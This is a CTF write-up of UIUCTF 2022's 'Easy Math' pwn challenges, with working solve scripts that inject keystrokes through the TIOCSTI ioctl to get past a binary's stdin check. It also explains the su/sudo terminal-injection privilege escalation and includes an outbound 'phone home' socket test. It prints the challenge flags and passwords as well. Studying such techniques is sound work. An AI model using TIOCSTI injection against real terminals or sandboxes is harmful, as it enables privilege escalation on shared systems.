changed 3 years ago
Published Linked with GitHub

Easy Math 3


"student wearing an eyepatch taking a proctored math exam, cartoon style"

Writeup by: Kevin He (name on team: cupr1c)
Team: Phiat Lux

Overview

  • CTF: UIUCTF 2022
  • Category: Pwn
  • Points: 426
  • Solves: 12

This is the most difficult among the three challenges in the "Easy Math" series. The idea behind Easy Math 1,2,3 is that you are presented with a "math exam" (implemented as a set-UID binary easy-math) to multiply small numbers. The math is the easy part. The hard part is that there are 10000 questions and it is infeasible to manually do it (and indeed impossible for Easy Math 2,3 as we will see), and the binary detects stdin redirection to thwart automated "cheating" scripts.

Attachments

Local Setup

easy-math.c, the source code of the set-UID binary on the remote side can be found in my Gist.

Remote Connection details

:warning: The infrastructure is likely going to be down a week past the competition is over, so don't expect that you will actually be able to connect. Download files from my gist above if you would like to reproduce the infrastructure.

  • Easy Math 1: ssh ctf@easy-math.chal.uiuc.tf password is ctf
  • Easy Math 2: ssh ctf-part-2@easy-math.chal.uiuc.tf password is also ctf
  • Easy Math 3: ssh ctf-part-3@easy-math.chal.uiuc.tf password is 6d49a6fb

I personally like using sshpass instead so I can integrate the commands into a script easily. To connect to those challenges, I used these commands instead:

sshpass -p ctf ssh ctf@easy-math.chal.uiuc.tf
sshpass -p ctf ssh ctf-part-2@easy-math.chal.uiuc.tf
sshpass -p 6d49a6fb ssh ctf-part-3@easy-math.chal.uiuc.tf

My solve scripts may require you to have the sshpass command installed. It can be easily installed on Debian-like systems with

sudo apt install sshpass

:rotating_light: Do not use sshpass with the -p flag to pass secret passwords to the SSH servers you care about. On a multi-user system, command line arguments of every process can be extracted easily by any user on the system using ps.

Here it is fine since the SSH account is supposed to be public.

Solution

Even though this is a writeup for Easy Math 3, I will explain how I developed my exploit progressively starting with Easy Math 1.

Easy Math 1

Running SSH on Easy Math 1 gives:

$ ssh ctf@easy-math.chal.uiuc.tf
ctf@easy-math.chal.uiuc.tf's password: 
== proof-of-work: disabled ==
ctf@test-center:~$ ls
README  easy-math  easy-math.c  flag
ctf@test-center:~$ ./easy-math 
Welcome to the MATH 101 final exam.
Checking your student ID...

The test begins now. You have three hours.

Question 1: 3 * 1 = 3
Question 2: 14 * 0 = 0
Question 3: 1 * 8 = 8
Question 4: 15 * 6 = bad
You have failed the test.

If you try to redirect stdin, the binary detects it:

ctf@test-center:~$ echo -n 42 | ./easy-math
Welcome to the MATH 101 final exam.
Checking your student ID...

The proctor kicks you out for pretending to be a student.
ctf@test-center:~$ ./easy-math < /dev/null
Welcome to the MATH 101 final exam.
Checking your student ID...

The proctor kicks you out for pretending to be a student.

Looking at the source code of easy-math.c, specifically the "Check your student ID" part, I found that the binary checks if stdin is the same as the original terminal (stdin of PID 1, the root process in the container):

int check_id() { printf("Checking your student ID...\n\n"); sleep(1); struct stat real, given; if (stat("/proc/1/fd/0", &real)) return 1; if (fstat(0, &given)) return 1; if (real.st_dev != given.st_dev) return 1; if (real.st_ino != given.st_ino) return 1; return 0; }

For now the easiest solution appears to be hiding my solve script locally, since the SSH server cannot detect anything on the client side. It is a nice exercise to write such a script, which I will include in a spoiler below:

Solve script for Easy Math 1
from typing import Any from pwn import * context.log_level = 'debug' p = process(['sshpass', '-p', 'ctf', 'ssh', 'ctf@easy-math.chal.uiuc.tf']) send: Any = p.sendline send(b'./easy-math') p.recvuntil(b'The test begins now. You have three hours.') for i in range(10000): p.recvuntil(': ') fn = int(p.recvuntil(' * ', drop=True)) sn = int(p.recvuntil(' = ', drop=True)) print(fn, sn) send(str(fn * sn).encode()) p.interactive()

After waiting for the script to finish [1], we are greeted with the flag and a message telling you that this solution will not work for Easy Math 2 or 3:

Nice job! Now, the question is, did you do it the fun way, or by hiding behind your ssh client?

Part 1 flag: uiuctf{now do it the fun way :D}

To solve part 2, use `ssh ctf-part-2@easy-math.chal.uiuc.tf` (password is still ctf)
This time, your input is sent in live, but you don't get any output until after your shell exits.

Easy Math 2 and 3

For easy math 2 and 3, ssh will no longer echo back anything, and you must type all the commands blindfolded. This is intended to force you to resort to automated solutions that run entirely on the remote machine [2], and carefully avoid being caught cheating by the proctor.

The first (failed) attempt

I cannot think of any immediate way to solve these challenges without redirecting input. The key thing that prevents us from adapting the solution from Easy Math 1 is that a local solve script cannot get any information on what the questions are on the remote side, since the exam is blindfolded. The usage of a cryptographically strong /dev/urandom device prevents the script from predicting the questions also.

The first thing I tried is to see if I can leak any information out of the "test center" through side-channels other than standard output. My first idea is to "phone home" via the network. Since there is no ping, curl, ip, or ifconfig command installed on the SSH remote, I have to resort to Python to check if there is any network connectivity:

ctf@test-center:~$ python3
Python 3.6.9 (default, Jun 29 2022, 11:45:57) 
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import socket
>>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> s.connect(('93.184.216.34', 80)) # 93.184.216.34: IP of www.example.com, TCP/80: HTTP
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
OSError: [Errno 101] Network is unreachable


"no cell phones sign on a wall"

Guess my exploit cannot phone home at the test center, which makes sense, so I decided to give up this approach.

The second (successful) attempt

Now let's look for an "honest" solution that runs entirely on the remote side (doing what the challenge author calls the fun way).

It would be nice if there is a way to send input directly to the raw terminal device, since that would allow me to pretend to be the "student" without redirecting input, so the "proctor" would not notice. The terminal in Linux is represented by the /dev/tty device. As long as the SSH session actually allocates a TTY, stdin (FD 0) and stdout (FD 1) of an interactive process defaults to /dev/tty unless redirected. Reading from /dev/tty will read stuff from the terminal user, and writing to /dev/tty will write stuff on the terminal screen. This way stdin and stdout just work auto-magically for a process.

However, we are looking for a way to write to the terminal input, which is not achieved by either read() or write() on /dev/tty. It turns out there is another system call designed specifically to manipulate terminal devices: ioctl().

I remembered once reading about a vulnerability in su/sudo [3], where an unprivileged user (after being impersonated by a superuser using su/sudo) can take her revenge and inject malicious keystrokes into the terminal using the TIOCSTI ioctl on /dev/tty. Normally the keystrokes go into the user's own processes, but if the user process decides to exit, the keystrokes goes to the terminal of the superuser, who is likely running a shell!

This is exactly what we are looking for: by writing input with the terminal while the easy-math binary is running, we can inject keystrokes to answer the questions. In addition, since we are running on the remote side, and unlike it does for stdin, easy-math does nothing to check that stdout goes to the terminal, so we can pipe its output to our malicious script like this:

./easy-math | python3 solve.py

This allows our malicious script full control over both the output and input of easy-math.

The Attack

Fortunately, despite being a very high level language, Python has a rich API for system calls. To perform the ioctl syscall, we can use the fcntl module and even get constants from termios. Other people have approached this by compiling a C binary that does the system call, which adds the overhead of process creation and can potentially slow down the solve.

By modifying the solve script of "Easy Math 1" (change where the I/O goes), I made the Python script to be run on the remote machine:

solve.py
import fcntl, termios import sys from typing import IO pout = sys.stdin # Read a single line from stdout of ./easy-math def readline(): line = pout.readline() if line == '': raise EOFError return line tty = open('/dev/tty', 'rb') # Send string into stdin of ./easy-math def send(s: str): for c in s: fcntl.ioctl(tty, termios.TIOCSTI, c.encode()) readline() readline() readline() def recvuntil(io: IO[str], dc: str) -> str: def chars(): while True: c = io.read(1) if c == '': raise EOFError yield c if c == dc: break return ''.join(chars()) for i in range(10000): recvuntil(pout, ':') pout.read(1) # space line = recvuntil(pout, '=') pout.read(1) # space star = line.find(' * ') eq = line.find(' =') fn = line[:star] sn = line[star+3:eq] send(str(int(fn) * int(sn)) + '\n') # Make sure to dump the flag. The most important thing to do in a CTF # Will eventually throw EOFError but we don't care while True: print(readline())

Then we have to send this file to the SSH remote and pipe ./easy-math to it, I decided to write a script that does exactly this in a fully automated fashion:

connect.sh
#! /bin/sh # Use a token that DOES NOT show up in your solve.py # See this tutorial on bash here strings: https://tldp.org/LDP/abs/html/x17837.html token='HERE' # Output the commands to send to the SSH shell gen_cmds () { echo "tee /tmp/solve.py << $token" cat solve.py # Include the **contents** of solve.py echo "$token" echo './easy-math | python3 /tmp/solve.py; exit' } # Must use the -tt flag to FORCE ssh to allocate a TTY on the remote side # (even if the local stdin is redirected), # since the exploit depends on the availability of /dev/tty # Uncomment for PART 3: gen_cmds | sshpass -p 6d49a6fb ssh -tt ctf-part-3@easy-math.chal.uiuc.tf # Uncomment for PART 2: # gen_cmds | sshpass -p ctf ssh -tt ctf-part-2@easy-math.chal.uiuc.tf

Some explanations for that script:

gen_cmds generates the commands to be sent to SSH. One can try modifying the script to just run gen_cmds without piping to see what commands it generates. tee <file> is a trick where it reads from standard input and writes to both stdout and the file. It behaves like a non-interactive text editor and is useful in automated scripts.

There is a feature in bash called here strings. It is a neat way to specify the boundary between stdin of the tee command and subsequent commands, since sending the EOF character ^D can be difficult to do non-interactively.

The Flag

Running connect.sh returns the :triangular_flag_on_post: in a few seconds (which is orders of magnitude faster than the solution for easy math 1 shown above!). The numbers are the answers to the math questions and will change every time:

$ ./connect.sh
...
28
18
63
uiuctf{file descriptors are literally magic}

Traceback (most recent call last):
  File "/tmp/solve.py", line 51, in <module>
    print(readline())
  File "/tmp/solve.py", line 12, in readline
    raise EOFError
EOFError
logout

---
Connection to easy-math.chal.uiuc.tf closed.

Looks like this is an unintended solution as we used no magic about file descriptors.

The same technique can be used to solve Easy Math 2. A list of file captured this way is here:

Easy Math 1: uiuctf{now do it the fun way :D}
Easy Math 2: uiuctf{excellent execution}
Easy Math 3: uiuctf{file descriptors are literally magic}

Thoughts

The su/sudo vulnerability inspired me to make the pwn challenge HAXLAB S for SDCTF 2021, where the basic idea is that via seccomp rules one is restricted from doing anything except read, write, and ioctl on already open file descriptors.

It is interesting how often the TIOCSTI feature can be abused to create vulnerabilities, such as this bubblewrap one, since developers of sandboxes generally assume the terminal is trusted. OpenBSD - a very security-focused OS - decided to remove this dangerous ioctl altogether so solve the root cause. Unfortunately, this is where Linux chooses to maintain backward compatibility over security.


  1. It took more than 10 minutes for me but YMMV since the time greatly depends on the network latency/ping as your script runs locally and is essentially playing ping-pong with the server ↩︎

  2. Easy Math 2 actually has an unintended solution that allows solving it in a similar way as Easy Math 1. This is "patched" in Easy Math 3 ↩︎

  3. As far as I know this severe vulnerability - which can easily result in privilege escalation on multi-user systems - is still essentially unpatched (!) in most Linux distributions without the use of special CLI flags due to concerns on backward compatibility. ↩︎

Select a repo